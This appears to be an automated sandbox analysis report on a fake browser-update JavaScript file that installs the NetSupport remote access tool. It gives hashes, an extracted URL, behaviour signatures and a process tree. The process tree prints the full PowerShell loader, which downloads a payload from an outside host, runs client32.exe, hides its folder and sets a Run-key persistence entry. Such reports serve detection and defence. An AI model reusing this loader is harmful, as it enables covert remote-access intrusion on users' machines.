Analysis
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max time kernel
1624s -
max time network
1774s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
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submitted
02/01/2024, 16:10
General
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Target
Update_browser_17.6436.js
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Size
296KB
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MD5
e239f09fd12e5d2bc17d3b87565c2d87
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SHA1
56dd446e8524b074d50839f01539c7b07c57c9b6
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SHA256
7791a5f2d1b2aabc186a9f42cd7d78657dc4e970f05ecb65ea729cf8643de90e
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SHA512
85db1d32a84336b9e0ca9085e8aa7ce829c28053bf7a8c2b3dd95c07e5bc550ab803c6a07b9a5cefaa5d5504ef51857d6322132af33ce9cf1d30609da92187e0
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SSDEEP
3072:4OpyDJu8XUtQQSO1T7cbF/nlz3wq2B9OpyDJu8XUtQQSO1T7cbF/nlz3wq2Bp:lcJ6QhO1T7cZd6BYcJ6QhO1T7cZd6Bp
Malware Config
Extracted
https://jesusanaya.com/GetData.php?14341
https://jesusanaya.com/GetData.php?14341
Signatures
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NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
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Blocklisted process makes network request 2 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Executes dropped EXE 1 IoCs
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Loads dropped DLL 5 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
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Suspicious behavior: EnumeratesProcesses 3 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious use of FindShellTrayWindow 1 IoCs
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Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $VlhAFbowyHZyJirzaRuaSIqTR='https://jesusanaya.com/GetData.php?14341';$KnSAaHcXPGFcoqavWzmLOhDoaja=(New-Object System.Net.WebClient).DownloadString($VlhAFbowyHZyJirzaRuaSIqTR);$wgJqyXsetIMFmi=[System.Convert]::FromBase64String($KnSAaHcXPGFcoqavWzmLOhDoaja);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $VLtVUSBarzgzillfcUEFBTPzCaKMzh=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $VLtVUSBarzgzillfcUEFBTPzCaKMzh -PathType Container)) { New-Item -Path $VLtVUSBarzgzillfcUEFBTPzCaKMzh -ItemType Directory };$p=Join-Path $VLtVUSBarzgzillfcUEFBTPzCaKMzh 'rtrs.zip';[System.IO.File]::WriteAllBytes($p,$wgJqyXsetIMFmi);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$VLtVUSBarzgzillfcUEFBTPzCaKMzh)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $VLtVUSBarzgzillfcUEFBTPzCaKMzh 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $VLtVUSBarzgzillfcUEFBTPzCaKMzh -Force; $FSDFSSD.attributes='Hidden';$s=$VLtVUSBarzgzillfcUEFBTPzCaKMzh+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='DIVXX';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\DIVX-903\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX-903\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
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Filesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
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Filesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
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Filesize
1.5MB
MD56fa1f78069fe0ca2b7ea5baac2dc352c
SHA1902289f86a73f0c73e08cd0b9be844da25ed9b21
SHA2561b098e1290456e5830eee7e8495f82242bb9ad1ecf1bdff565835d654349e90b
SHA512151cc96016cb96a22b202b4d3f0bee4206b985765107a98d516e899bbe8079b8121cc5136a8044b727da5e3b153f19c19a57859ce48c704d64cec7a6ff51c0c9
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Filesize
2.0MB
MD5329687575e0e4e9b5ed2befe7aa62650
SHA173955fb60ac7b2b6b9e182b2041a7a26661a04a4
SHA25691faeb7bd822c98166a24b1483b9fc63668e970b8d1eec36d15091b5d4a56a36
SHA512965307ddfa6843a71dd408c9b30fe482ea1188074607e82770dab97ab8aa8c7fb976c1411e49305f7a78d16b155cfa33c6d2ec1c9ec9bb7830b27e7f68a1d36b
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Filesize
101KB
MD5c4f1b50e3111d29774f7525039ff7086
SHA157539c95cba0986ec8df0fcdea433e7c71b724c6
SHA25618df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5
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Filesize
670B
MD5b11f62b15f97cf5afb117e967c223882
SHA1d6cc3f4c7cad5bf28d9c44bee2362b8edc69097b
SHA25613fe71354608a9345d9d7c1600568ec911d718ece989442a39a5601e5fe35586
SHA51285dbba7dcb1aa1015c186567b06ca2ae5a782a21b0b4008496fb831b39f27e5ee79c716e46aa07a9392fd3037aa1e7b4dbb47f217b1f0eb1c7fc9516d775cc7a
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Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
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Filesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
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Filesize
64KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
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Filesize
4KB
-
Filesize
4KB
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Filesize
64KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
-
Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
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Filesize
4KB
-
Filesize
72KB
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Filesize
136KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
64KB
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Filesize
64KB
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Filesize
10.8MB
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Filesize
64KB
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Filesize
64KB
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Filesize
40KB